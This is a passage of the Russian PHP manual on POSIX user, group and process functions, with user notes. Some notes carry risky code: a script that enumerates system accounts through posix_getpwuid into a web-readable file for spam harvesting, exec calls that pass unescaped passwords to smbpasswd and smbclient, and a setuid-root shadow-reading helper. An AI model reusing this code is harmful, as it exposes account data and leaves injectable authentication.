echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

Смотрите также

  • posix_getgrgid() - Возвращает информацию о группе по её ID
  • posix_getegid() - Возвращает эффективный идентификатор группы текущего процесса EGID
  • posix_setgid() - Устанавливает идентификатор группы для текущего процесса GID
  • POSIX руководство GETGID(2)

User Contributed Notes

vector from ionisis.com 14-Oct-2011 05:07
i came across this error:
Call to undefined function posix_getuid()

which was solved by these commands:
yum -y install php-process
service httpd restart


Возвращает информацию о группе по её ID

  • « posix_getgid
  • posix_getgrnam »
  • PHP Manual
  • POSIX Функции
  • Возвращает информацию о группе по её ID

posix_getgrgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgrgid — Возвращает информацию о группе по её ID

Описание

posix_getgrgid(int $group_id): array|false

Возвращает информацию о группе, используя её ID.

Список параметров

group_id

Идентификатор группы.

Возвращаемые значения

Массив со следующими элементами:

Массив с информацией о группе
Элемент | Описание
name | Элемент name содержит имя группы. Это короткий, обычно менее 16 символов "дескриптор" группы, не являющийся полным именем группы.
passwd | Элемент passwd содержит пароль группы в зашифрованном виде. Часто, например в системах, использующих "shadow" файлы для хранения информации о паролях, это поле содержит строку из звёздочек.
gid | Элемент содержит ID группы и должен соответствовать group_id параметру, используемому при вызове функции. Данный элемент является избыточным.
members | Этот элемент состоит из array, содержащего string. Значениями данного массива являются имена членов данной группы.
Функция возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_getgrgid()

<?php

$groupid = posix_getegid();
$groupinfo = posix_getgrgid($groupid);

print_r($groupinfo);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

Смотрите также

  • posix_getegid() - Возвращает эффективный идентификатор группы текущего процесса EGID
  • posix_getgrnam() - Возвращает информацию о группе, используя её имя
  • filegroup() - Получает идентификатор группы файла
  • stat() - Возвращает информацию о файле
  • POSIX руководство GETGRNAM(3)

User Contributed Notes

cweiske at php dot net 10-May-2009 07:50
When posix_getgrgid() fails (e.g. an invalid/unknown group id), it returns false.
This is except for Mac OSX on which you get an array with name "nogroup" and gid of "-1".
james at jfc dot org dot uk 16-Apr-2003 11:21
in php-4.3 the array returned seems to have changed.

it now returns:

["name"] group name
["passwd"] group password
["members"] group members (array of usernames)
["gid"] numeric group id
tech at dslip dot com dot au 13-May-2002 06:27
okies...

This code should be considered as an OPTION only, it works under MY set of circumstances, and that is all I intended. The below funtion will return the NAME of the GROUP if provided with the Group ID#

  function RC_posix_getgrgid($gid)
    {
    $LocationGroup = "/etc/group"; //EDIT THIS IF YOU HAVE A DIFFERENT OS. mine = debian
    $fp = fopen ("/etc/group","r");
    while ($groupinfo = fscanf ($fp, "%[a-zA-Z0-9]:x:%[0-9]:%[a-zA-Z0-9]\n"))
        {
        list ($name, $groupID, $nfi) = $groupinfo;
        if ($groupID == $gid)
            {
            $returnval = $name;
            }
        }
    fclose($fp);
    if($returnval) { return $returnval; } else { return 0; }
    }
rcgraves+php at brandeis dot edu 21-Feb-2000 06:10
Returns an array containing the elements of the group structure. The array has both numeric indices, each of which is a string naming one member of the group, and named string indices. The array elements are:

$_["name"]  string groupname (users)
$_["gid"] integer gidnumber (e.g. 0 for wheel/root)
$_["members"] int number of users in group
$_[0]..$_[n] string usernames in the group


Возвращает информацию о группе, используя её имя

  • « posix_getgrgid
  • posix_getgroups »
  • PHP Manual
  • POSIX Функции
  • Возвращает информацию о группе, используя её имя

posix_getgrnam

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgrnam — Возвращает информацию о группе, используя её имя

Описание

posix_getgrnam(string $name): array|false

Возвращает информацию о группе, используя её имя.

Список параметров

name

Имя группы

Возвращаемые значения

Возвращает массив (array) в случае успешного выполнения или false в случае возникновения ошибки. Возвращаемый массив имеет следующие элементы:

Массив с информацией о группе
Элемент | Описание
name | Элемент name содержит имя группы. Это короткий, обычно менее 16 символов "дескриптор" группы, не являющийся действительным полным именем группы. Он должен соответствовать name параметру, используемому в данной функции. Элемент является избыточным.
passwd | Элемент passwd содержит пароль группы в зашифрованном виде. Часто, например в системах, использующих "shadow" файлы для хранения информации о паролях, это поле содержит звёздочку.
gid | Идентификатор группы, состоящий из цифр.
members | Этот элемент состоит из array, содержащего string. Значениями данного массива являются имена членов данной группы.

Примеры

Пример #1 Пример использования posix_getgrnam()

<?php

$groupinfo = posix_getgrnam("toons");

print_r($groupinfo);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

Смотрите также

  • posix_getegid() - Возвращает эффективный идентификатор группы текущего процесса EGID
  • posix_getgrgid() - Возвращает информацию о группе по её ID
  • filegroup() - Получает идентификатор группы файла
  • stat() - Возвращает информацию о файле
  • POSIX руководство GETGRNAM(3)

User Contributed Notes

marques at displague dot com 02-Apr-2009 06:12
This function returns 'false' if the group is not found.


Возвращает список групп для текущего процесса

  • « posix_getgrnam
  • posix_getlogin »
  • PHP Manual
  • POSIX Функции
  • Возвращает список групп для текущего процесса

posix_getgroups

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgroups — Возвращает список групп для текущего процесса

Описание

posix_getgroups(): array|false

Возвращает список групп для текущего процесса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает числовой массив, содержащий список идентификаторов групп для текущего процесса или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_getgroups()

<?php

$groups = posix_getgroups();

print_r($groups);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 4
    [1] => 20
    [2] => 24
    [3] => 25
    [4] => 29
    [5] => 30
    [6] => 33
    [7] => 44
    [8] => 46
    [9] => 104
    [10] => 109
    [11] => 110
    [12] => 1000
)

Смотрите также

  • posix_getgrgid() - Возвращает информацию о группе по её ID

User Contributed Notes

There are no user contributed notes for this page.


Возвращает логин владельца процесса

  • « posix_getgroups
  • posix_getpgid »
  • PHP Manual
  • POSIX Функции
  • Возвращает логин владельца процесса

posix_getlogin

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getlogin — Возвращает логин владельца процесса

Описание

posix_getlogin(): string|false

Возвращает логин пользователя, являющегося владельцем данного процесса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логин пользователя как переменную типа string или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_getlogin()

<?php
echo posix_getlogin(); //apache
?>

Смотрите также

  • posix_getpwnam() - Возвращает информацию о пользователе по его имени
  • POSIX руководство GETLOGIN(3)

User Contributed Notes

Alex P 16-Jul-2014 11:07
posix_getlogin() will return boolean false when there is no shell, e.g. when running under an apache process
philip 09-Feb-2004 06:31
Note that this function returns the owner that the process *started* as.  Even if you call posix_setuid (or posix_seteuid) it will still report the username the process started as.

use get_current_user() to get the effective real user.


Возвращает ID группы текущего процесса для менеджера задач

  • « posix_getlogin
  • posix_getpgrp »
  • PHP Manual
  • POSIX Функции
  • Возвращает ID группы текущего процесса для менеджера задач

posix_getpgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpgid — Возвращает ID группы текущего процесса для менеджера задач

Описание

posix_getpgid(int $process_id): int|false

Возвращает идентификатор группы текущего процесса. process_id или false в случае возникновения ошибки.

Список параметров

process_id

Идентификатор текущего процесса.

Возвращаемые значения

Возвращает идентификатор как число типа int.

Примеры

Пример #1 Пример использования posix_getpgid()

<?php
$pid = posix_getppid();
echo posix_getpgid($pid); //35
?>

Примечания

Замечание:

Это не POSIX функция, но она совместима с BSD и System V операционными системами. Если операционная система не поддерживает данную функцию, она не будет включена при компиляции. Доступность данной функции может быть проверена с помощью function_exists().

Смотрите также

  • posix_getppid() - Возвращает идентификатор родительского процесса
  • руководство SETPGID(2)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор группы текущего процесса

  • « posix_getpgid
  • posix_getpid »
  • PHP Manual
  • POSIX Функции
  • Возвращает идентификатор группы текущего процесса

posix_getpgrp

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpgrp — Возвращает идентификатор группы текущего процесса

Описание

posix_getpgrp(): int

Возвращает идентификатор группы текущего процесса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор как int.

Смотрите также

  • POSIX.1 и getpgrp(2) руководства для POSIX систем для получения более подробной информации о группах процессов.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор текущего процесса

  • « posix_getpgrp
  • posix_getppid »
  • PHP Manual
  • POSIX Функции
  • Возвращает идентификатор текущего процесса

posix_getpid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpid — Возвращает идентификатор текущего процесса

Описание

posix_getpid(): int

Возвращает идентификатор текущего процесса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор как int.

Примеры

Пример #1 Пример использования posix_getpid()

<?php
echo posix_getpid(); //8805
?>

Смотрите также

  • posix_kill() - Отправляет сигнал соответствующему процессу
  • POSIX руководство GETPID(2)

User Contributed Notes

ia dot beladel at protonmail dot com 06-May-2022 05:58
A fall back function:
<?php
    function get_current_id() {
        if(!function_exists(posix_getpid()))
            return getmypid();

        return posix_getpid();
    }
?>
victor at gmail dot com 06-Aug-2019 10:22
You can use this code in windows or if you system has no posix support:

<?php
if (!function_exists('posix_getpid')) {
    function posix_getpid() {
        return getmypid();
    }
}
Yzmir Ramirez 14-Jul-2011 03:42
You can also try using getmypid() instead.
zapolski at gmail dot com 14-Sep-2010 07:13
In order to use posix_getpid on Fedeora 11 and up you have to install php-process

# yum install php-process
andy at haveland dot com 28-Feb-2010 12:09
Since upgrading fedora 10 to 12, I discovered that posix_getpid() disappeared and not compiled in by default, as it specifies here.

It turns out that it had been moved into package php-process.

Just do "yum install php-process", and all should be sweet again.

Hope this saves someone half an hour of research.


Возвращает идентификатор родительского процесса

  • « posix_getpid
  • posix_getpwnam »
  • PHP Manual
  • POSIX Функции
  • Возвращает идентификатор родительского процесса

posix_getppid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getppid — Возвращает идентификатор родительского процесса

Описание

posix_getppid(): int

Возвращает идентификатор родительского процесса по отношению к текущему процессу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор процесса как int.

Примеры

Пример #1 Пример использования posix_getppid()

<?php
echo posix_getppid(); //8259
?>

User Contributed Notes

Avital Yachin 22-Feb-2018 08:58
posix_getppid will not work on Windows.
Here's an alternative:

<?php
if(strncasecmp(PHP_OS, "win", 3) == 0) {
   $pid = getmypid();  // child process ID
   $parent_pid = shell_exec("wmic process where (processid=$pid) get parentprocessid");
   $parent_pid = explode("\n", $parent_pid);
   $parent_pid = intval($parent_pid[1]);

   echo "Child: $pid  Parent: $parent_pid\n";
}
?>
mail at spacerat dot net 15-Sep-2017 09:28
answering to http://php.net/manual/en/function.posix-getppid.php#120088

if you're using proc_open and you want to get the pid of the calling php-process, use proc open with usage "exec php $scriptname". In that case, you can get the real parent-id, because php doesn't start a new shell.
divinity76 at gmail dot com 10-Apr-2017 07:33
when using proc_open, the child's ppid is NOT your php script, but rather a shell started by proc_open's pid. to get your pid, your proc_open child needs to get the parent's parent's (aka grandparent's) pid. here's a way to do that in PHP on linux:

function posix_getpppid(): int {
    return ( int ) (explode ( " ", file_get_contents ( "/proc/" . posix_getppid () . "/stat" ) ) [3]);
}

(thanks to TML @ irc.freenode.net/##PHP for the technique)

(i said most of this in a previous comment, but i didn't have a good solution for it. now i have. if someone with the privileges read this, can you delete this notice and my previous comment please?)
divinity76 at gmail dot com 25-Oct-2016 10:45
WARNING, when using proc_open, your child will NOT get the parent php process's PID by using posix_getppid() , it will actually get the pid of a shell ( /bin/sh ? ) started by php, which in turn starts the child.  i don't currently have a good workaround for this, but i'm working around it by having the parent write it's pid to a file and having the chidren read the file


Возвращает информацию о пользователе по его имени

  • « posix_getppid
  • posix_getpwuid »
  • PHP Manual
  • POSIX Функции
  • Возвращает информацию о пользователе по его имени

posix_getpwnam

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpwnam — Возвращает информацию о пользователе по его имени

Описание

posix_getpwnam(string $username): array|false

Возвращает массив (array) с информацией о переданном пользователе.

Список параметров

username

Буквенно-цифровое имя пользователя.

Возвращаемые значения

В случае успешного выполнения возвращается массив со следующими элементами, иначе возвращается false.

Массив с информацией о пользователе
Элемент | Описание
name | Элемент name содержит имя пользователя. Это короткий, обычно менее 16 символов "дескриптор" пользователя, не являющийся фактическим полным именем пользователя. Должно совпадать с именем, переданным в параметре username при вызове данной функции. Элемент является избыточным.
passwd | Элемент passwd содержит пароль группы в зашифрованном виде. Часто, например в системах, использующих "shadow" файлы для хранения информации о паролях, это поле содержит звёздочку.
uid | Числовой идентификатор пользователя.
gid | Идентификатор группы пользователя. Используйте функцию posix_getgrgid() для получения имени группы и списка пользователей- её членов.
gecos | GECOS является устаревшим членом, который указывает на информационное поле в системе пакетной обработки Honeywell. Однако, это поле существует, и его содержимое формализовано в стандарте POSIX. Это поле содержит список, разделённый запятыми, и содержащий в себе полное имя пользователя, рабочий телефон, номер офиса и домашний телефон. В большинстве систем доступно только полное имя пользователя.
dir | Этот элемент содержит абсолютный путь к домашней директории пользователя.
shell | Элемент shell содержит абсолютный путь к исполняемому файлу командной оболочки пользователя по умолчанию.

Примеры

Пример #1 Пример использования posix_getpwnam()

<?php

$userinfo = posix_getpwnam("tom");

print_r($userinfo);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [gecos]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

Смотрите также

  • posix_getpwuid() - Возвращает информацию о пользователе, используя его ID
  • POSIX руководство GETPWNAM(3)

User Contributed Notes

bau at kg-fds dot de 18-Feb-2006 09:29
Oh I forgot the following:

to change a Users password via PHP,
you can use the following (under Linux with installed Samba):

exec('echo -e "'.$oldpassword.'\n'.$newpassword.'\n'.$newpassword.'
"|smbpasswd -U'.$user.' -s')

The exec-command returns ""
if an error occured (then see the error_log of the web-server)
or a message "The password has been changed".

Good luck.
Baumg?rtner
bau at kg-fds dot de 18-Feb-2006 09:22
Hello, I've tried another, more easier way to check passwords than checking it to a pop3-server. If you are running a samba-server or a Windows PDC, so you can try to connect with the username/password you want to check to the netlogon of this server:

if (exec('echo "exit"|smbclient //server/netlogon -U'.$user.' '.$pass)=="") { ... }

If the username/password doesn't match, then the exec-command under LINUX returns an error.

Good luck
Baumg?rtner
bau at kg-fds dot de 14-Feb-2006 11:24
If you are running a pop3-daemon, so you can do authentification on pop3 by using fsockopen :-) and checking whether it returns +OK or -ERR
corychristison at lavacube dot net 17-Oct-2004 04:33
For those of you who are writing daemons with PHP and are one for security. This function will not return any info if you have called PHP's chroot() function.

Took me a few minutes why it wouldn't find the user it was searching for.
marcus at nospamsynchromedia dot co dot uk 23-Aug-2002 01:12
Given a non-existent username, this function returns a boolean FALSE.
perreal at lyon dot cemagref dot fr 18-Apr-2002 08:47
To check passwords on a Unix-box, look at the mod_auth_external module for Apache, it uses external programs to do the real job. The server won't ever read the encrypted password.

One of them, pwauth, can be configured to use PAM or whatever is used on your system. Users that can run this program are configured at compile time. And this program can be called from PHP with exec(...).
vision_1967 at hotmail dot com 20-Nov-2001 11:23
I needed to get access to the user information to do login/validation via an SSL connection and encountered the same problem with receiving '*' in the password field.  After checking the documentation on posix_getpwnam, I saw a previous solution involving coding a C program.  This was a bit bulky for me so I came up with my own solution.

Variations on this theme can probably be done to make the solution more programmer/reader friendly, but the way I did it accomplished the task that I needed to do.

IF the information you need to get from posix_getpwnam comes from a host participating in an NIS network, you can accomplish the same thing with the following command:

$autharray = split(":",`ypmatch $USER passwd`);

(pretty long explanation for such a short solution huh?)

You'll have to get at the fields by their index number ($autharray[0], $autharray[1], ...) using this method.

To create an associative array that is plug-in compatible with the posix_getpwnam function,  you'll probably need to use the 'list' specifier to do the assignments.

I hope this helps someone.

--S
darryl at pointclark dot net 17-Oct-2001 10:43
If you need to validate a *real* unix password on a system using shadowed passwords, the posix_getpwnam() function in PHP won't work (as mentioned, 'x', or '*', will be in the password field).

I have a need to verify a user/pass within PHP (using SSL!).  I don't know if this is the best way, but it's what I'm doing at the moment (works well!).

First, you need some help from the OS.  I wrote a tiny C utility that does the shadow look-up for me... It requires root access to read /etc/shadow.  So after you compile (gcc -O2 -s -o spasswd -lcrypt spasswd.c), you need to either use sudo to run it, or

# chown root spasswd && chmod u+s spasswd

To code that I'm using to authenticate a user/pass from PHP looks like:

function Authenticate($realm)
{
 global $PHP_AUTH_USER;
 global $PHP_AUTH_PW;

 if(!isset($PHP_AUTH_USER))
 {
  header("WWW-Authenticate: Basic realm=\"$realm\"");
  header("HTTP/1.0 401 Unauthorized");

  return false;
 }
 else
 {
  if(($fh = popen("/usr/sbin/spasswd", "w")))
  {
   fputs($fh, "$PHP_AUTH_USER $PHP_AUTH_PW");
   $r = pclose($fh);

   if(!$r)
    return true;
  }
 }

 header("WWW-Authenticate: Basic realm=\"$realm\"");
 header("HTTP/1.0 401 Unauthorized");

 return false;
}

The C source for spasswd.c:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <crypt.h>
#include <shadow.h>

static char salt[12], user[128], pass[128];

void die(void)
{
 memset(salt, '\0', 12);
 memset(user, '\0', 128);
 memset(pass, '\0', 128);
}

int main(int argc, char *argv[])
{
 struct spwd *passwd;

 atexit(die); die();

 if(fscanf(stdin, "%127s %127s", user, pass) != 2)
  return 1;

 if(!(passwd = getspnam(user)))
  return 1;

 strncpy(salt, passwd->sp_pwdp, 11);
 strncpy(pass, crypt(pass, salt), 127);

 if(!strncmp(pass, passwd->sp_pwdp, 127))
  return 0;

 return 1;
}

Hope this helps someone...
sezery at damla dot net 03-Oct-2001 02:09
User and group functions do not work on recent Redhat systems since these functions are based on /etc/group file but new redhat does not put group members' list into this file. Instead you need to examine /etc/passwd file and find members of a group by checking group id.


Возвращает информацию о пользователе, используя его ID

  • « posix_getpwnam
  • posix_getrlimit »
  • PHP Manual
  • POSIX Функции
  • Возвращает информацию о пользователе, используя его ID

posix_getpwuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpwuid — Возвращает информацию о пользователе, используя его ID

Описание

posix_getpwuid(int $user_id): array|false

Возвращает array с информацией о пользователе, используя идентификатор пользователя.

Список параметров

user_id

Идентификатор пользователя.

Возвращаемые значения

Возвращает ассоциативный массив со следующими элементами:

Массив с информацией о пользователе
Элемент | Описание
name | Элемент name содержит имя пользователя. Это короткий, обычно менее 16 символов "дескриптор" пользователя, не являющийся фактическим полным именем пользователя.
passwd | Элемент passwd содержит пароль группы в зашифрованном виде. Часто, например в системах, использующих "shadow" файлы для хранения информации о паролях, это поле содержит звёздочку.
uid | Числовой идентификатор пользователя, должен совпадать с параметром user_id, переданном при вызове функции. Является избыточным.
gid | Идентификатор группы пользователя. Используйте функцию posix_getgrgid() для получения имени группы и списка пользователей- её членов.
gecos | GECOS является устаревшим членом, который указывает на информационное поле в системе пакетной обработки Honeywell. Однако, это поле существует, и его содержимое было формализовано в стандарте POSIX. Это поле содержит список, разделённый запятыми, и содержащий в себе полное имя пользователя, рабочий телефон, номер офиса и домашний телефон. В большинстве систем доступно только полное имя пользователя.
dir | Этот элемент содержит абсолютный путь к домашней директории пользователя.
shell | Элемент shell содержит абсолютный путь к исполняемому файлу командной оболочки пользователя по умолчанию.
Функция возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_getpwuid()

<?php

$userinfo = posix_getpwuid(10000);

print_r($userinfo);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [gecos]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

Смотрите также

  • posix_getpwnam() - Возвращает информацию о пользователе по его имени
  • POSIX руководство GETPWNAM(3)

User Contributed Notes

Anonymous 05-Feb-2013 03:37
I only want the user name rather than the rest. I'm recursively looping trough a directory and need the username with each file or directory. I use stat to get file attributes that I need which gives me uid. Querying with posix_getpwuid() for every file takes up a lot of time in directories with many files. I came up with a caching mechanism (which I believe should be built-in). Every time a new uid is found a new query is required and this function slows it down, but hey, more likely you need a few uid's many many times so every time you meet the same uid, there is no costly query taking place.

Heres my code, feel free, etc., etc.

<?php
$arr_uname = Array();
function file_owner_cached($uid)
{
    global $arr_uname;
    if (!isset($arr_uname[$uid]))
    {
        $arr_uname[$uid] = posix_getpwuid($uid)['name'];
    }
    return $arr_uname[$uid];
}
?>
Works in PHP 5.3.19, under linux of course.. not tested on anything else.
martin at arp242 dot net 04-Jul-2011 07:18
Here's a fairly safe way to get the username from uid even if the posix extension isn't installed.

<?php
function GetUsernameFromUid($uid)
{
  if (function_exists('posix_getpwuid'))
  {
    $a = posix_getpwuid($uid);
    return $a['name'];
  }
  # This works on BSD but not with GNU
  elseif (strstr(php_uname('s'), 'BSD'))
  {
    exec('id -u ' . (int) $uid, $o, $r);

    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  elseif (is_readable('/etc/passwd'))
  {
    exec(sprintf('grep :%s: /etc/passwd | cut -d: -f1', (int) $uid), $o, $r);
    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  else
    return $uid;
}
?>
ddascalescu at gmail dot com 08-Apr-2008 07:14
Correction regarding my note below: get_current_user() does *not* get the name of the user the script is running as. Instead, it "gets the name of the owner of the current PHP script" -- that is, the owner of the file, not the owner of the process.

To properly get the running user, test if function_exists('posix_getpwuid') and if not, assume you're running on Windows and call getenv('USERNAME').
ddascalescu at gmail dot com 04-Apr-2008 05:39
On Windows, posix_getpwuid() is not implemented , but if you just want the username of the current user, you can use get_current_user().
mehmet at karakaya dot us 19-Mar-2006 11:45
if the system is also a mail server and system users have userdirs with php support this function may cause a spam abuse which made by a system user.

<?php

/* settings for start point and where to stop */
$start=0;//the first user id
$interval=1000;//amount of lines that will be read
$finishline=3000;//the last user id

$first=(isset($_GET['first'])?$_GET['first']:$start);
$last=(isset($_GET['last'])?$_GET['last']:$interval);

/* getting and writing the user info line by line */
$fp=fopen('copiedpasswd','a');
//copiedpasswd must be writeable by apache
for ($user=$first;$user<=$last;$user++)
 {
  $list=posix_getpwuid($user);
  if ($list['name']=='') { continue; }
  $line=implode(':',$list)."\n";
  fputs($fp,$line);
 }//end for
fclose($fp);

/* control or forwarding in order to prevent prescription */
if ($last>=$finishline)
 {
  header("Location: copiedpasswd");
 }//end if
else
 {
  $first += $interval;
  $last += $interval;
  header("Location: thenameofthisscript.php?first=$first&last=$last");
 }//end else

?>

Because posix_getpwuid(1000) will return the user name(whose id is 1000) as the first key of the array.
Nikolai-Zujev-(at)-Gmail-dot-Com 25-Sep-2004 02:05
If You are useing kernel security module, such as LIDS, GrSec or Selinux it will work only if '/etc/passwd' is readable for user, under which PHP/Apache runs, otherwice you get FALSE.
rolf dot winterscheidt at rowitech dot de 28-May-2003 04:34
To get the name of the owner of a file you can use something like this:

<?php
$startscript="/var/log/hello.log";

$fileowneruid=fileowner($startscript);
$fileownerarray=posix_getpwuid($fileowneruid);
$fileowner=$fileownerarray['name'];

echo "Owner is $fileowner";
?>

(I'm sure you can accomplish this in many ways, this is a way I understood and hope you too :-)).

Rolf


Возвращает информацию об ограничениях системных ресурсов

  • « posix_getpwuid
  • posix_getsid »
  • PHP Manual
  • POSIX Функции
  • Возвращает информацию об ограничениях системных ресурсов

posix_getrlimit

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getrlimit — Возвращает информацию об ограничениях системных ресурсов

Описание

posix_getrlimit(?int $resource = null): array|false

posix_getrlimit() возвращает array с информацией о текущих мягких и жёстких ограничениях системных ресурсов.

С каждым ресурсом ассоциированы свои мягкие и жёсткие ограничения. Мягкие ограничения — это величина, которую ядро обещает обеспечить ресурсу. Жёсткие ограничения — это величина, характеризующая потолок мягких ресурсов. Непривилегированный процесс может управлять только своими мягкими ограничениями, выставляя их от 0 до величины жёсткого ограничения.

Список параметров

resource

Если указано значение null, то будут найдены все ограничения ресурсов. В противном случае будут возвращены только ограничения предоставленного типа ресурса.

Возвращаемые значения

Возвращает ассоциативный array, каждый элемент которого соответствует определённому ограничению. Каждый лимит имеет мягкое и жёсткое ограничения.

Список возможных ограничений
Ограничение | Описание ограничения
core | Максимальный размер системного файла. В случае некорректного завершения программы, операционная система завершает этот процесс и создаёт системный файл с дампом состояния программы, чтобы программисты могли разобраться в причинах произошедшего. Если данное ограничение установлено в 0, то системные файлы не создаются. Если размер системного файла превышает этот предел, то он обрезается до указанного размера.
totalmem | Максимальный размер памяти, доступной процессу, в байтах.
virtualmem | Максимальный размер виртуальной памяти, доступной процессу, в байтах.
data | Максимальный размер сегмента данных для процесса, в байтах.
stack | Максимальный размер стека процесса в байтах.
rss | Максимальное количество виртуальных страниц в оперативной памяти
maxproc | Максимальное количество процессов, которое может быть создано для отдельного действительного ID пользователя, вызвавшего процесс.
memlock | Максимальный объем памяти в байтах, который может быть заблокирован в RAM
cpu | Количество процессорного времени, доступного для использования в CPU.
filesize | Максимальный размер сегмента данных для процесса, в байтах.
openfiles | На один больше, чем доступное максимальное количество открытых файловых дескрипторов.
Функция возвращает false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.3.0 | Добавлен необязательный параметр resource.

Примеры

Пример #1 Пример использования posix_getrlimit()

<?php

$limits = posix_getrlimit();

print_r($limits);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [soft core] => 0
    [hard core] => unlimited
    [soft data] => unlimited
    [hard data] => unlimited
    [soft stack] => 8388608
    [hard stack] => unlimited
    [soft totalmem] => unlimited
    [hard totalmem] => unlimited
    [soft rss] => unlimited
    [hard rss] => unlimited
    [soft maxproc] => unlimited
    [hard maxproc] => unlimited
    [soft memlock] => unlimited
    [hard memlock] => unlimited
    [soft cpu] => unlimited
    [hard cpu] => unlimited
    [soft filesize] => unlimited
    [hard filesize] => unlimited
    [soft openfiles] => 1024
    [hard openfiles] => 1024
)

Смотрите также

  • руководство GETRLIMIT(2)
  • posix_setrlimit() - Устанавливает пределы системных ресурсов

User Contributed Notes

petert at tebault dot org 29-Aug-2000 12:58
The array returned (on a RH6.2 box) is:
     soft core = 0
     hard core = unlimited
     soft data = unlimited
     hard data = unlimited
     soft stack = 8388608
     hard stack = unlimited
     soft totalmem = unlimited
     hard totalmem = unlimited
     soft rss = unlimited
     hard rss = unlimited
     soft maxproc = 2048
     hard maxproc = 2048
     soft memlock = unlimited
     hard memlock = unlimited
     soft cpu = unlimited
     hard cpu = unlimited
     soft filesize = unlimited
     hard filesize = unlimited
     soft openfiles = 1024
     hard openfiles = 1024


Возвращает текущий SID процесса

  • « posix_getrlimit
  • posix_getuid »
  • PHP Manual
  • POSIX Функции
  • Возвращает текущий SID процесса

posix_getsid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getsid — Возвращает текущий SID процесса

Описание

posix_getsid(int $process_id): int|false

Возвращает идентификатор сессии процесса process_id. Сессионным идентификатором процесса является идентификатор процесса лидера сеанса.

Список параметров

process_id

Идентификатор процесса. Если установлено в 0, подразумевается текущий процесс. Если передан некорректный process_id, то будет возвращено false. Также будет установлен номер ошибки, который можно обработать с помощью функции posix_get_last_error().

Возвращаемые значения

Возвращает идентификатор как int или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_getsid()

<?php
$pid = posix_getpid();
echo posix_getsid($pid); //8805
?>

Смотрите также

  • posix_getpgid() - Возвращает ID группы текущего процесса для менеджера задач
  • posix_setsid() - Делает текущий процесс лидером сессии
  • POSIX руководство GETSID(2)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает фактический идентификатор пользователя текущего процесса UID

  • « posix_getsid
  • posix_initgroups »
  • PHP Manual
  • POSIX Функции
  • Возвращает фактический идентификатор пользователя текущего процесса UID

posix_getuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getuid — Возвращает фактический идентификатор пользователя текущего процесса UID

Описание

posix_getuid(): int

Возвращает число, соответствующее действительному ID пользователю текущего процесса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ID пользователя как int

Примеры

Пример #1 Пример использования posix_getuid()

<?php
echo posix_getuid(); //10000
?>

Смотрите также

  • posix_getpwuid() - Возвращает информацию о пользователе, используя его ID
  • POSIX руководство GETUID(2)

User Contributed Notes

dee at earlsoft dot co dot uk 27-Feb-2022 09:58
On more modern systems the posix functions have split out into the php-process package

Installed Packages
Name         : php-process
Version      : 7.2.24
Release      : 1.module_el8.2.0+313+b04d0a66
Architecture : x86_64
Size         : 100 k
Source       : php-7.2.24-1.module_el8.2.0+313+b04d0a66.src.rpm
Repository   : @System
From repo    : appstream
Summary      : Modules for PHP script using system process interfaces
URL          : http://www.php.net/
License      : PHP
Description  : The php-process package contains dynamic shared objects which add
             : support to PHP using system interfaces for inter-process
             : communication.
StanE 17-Jan-2016 05:51
None of the posix_* functions are available under Windows, since Windows is not POSIX compliant. But there seems to be / was an optional software package available, see here: https://en.wikipedia.org/wiki/Microsoft_POSIX_subsystem
chris at ocportal dot com 30-Nov-2008 06:35
Note that this function is not defined on Windows PHP.


Определяет уровень доступа для группы

  • « posix_getuid
  • posix_isatty »
  • PHP Manual
  • POSIX Функции
  • Определяет уровень доступа для группы

posix_initgroups

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

posix_initgroups — Определяет уровень доступа для группы

Описание

posix_initgroups(string $username, int $group_id): bool

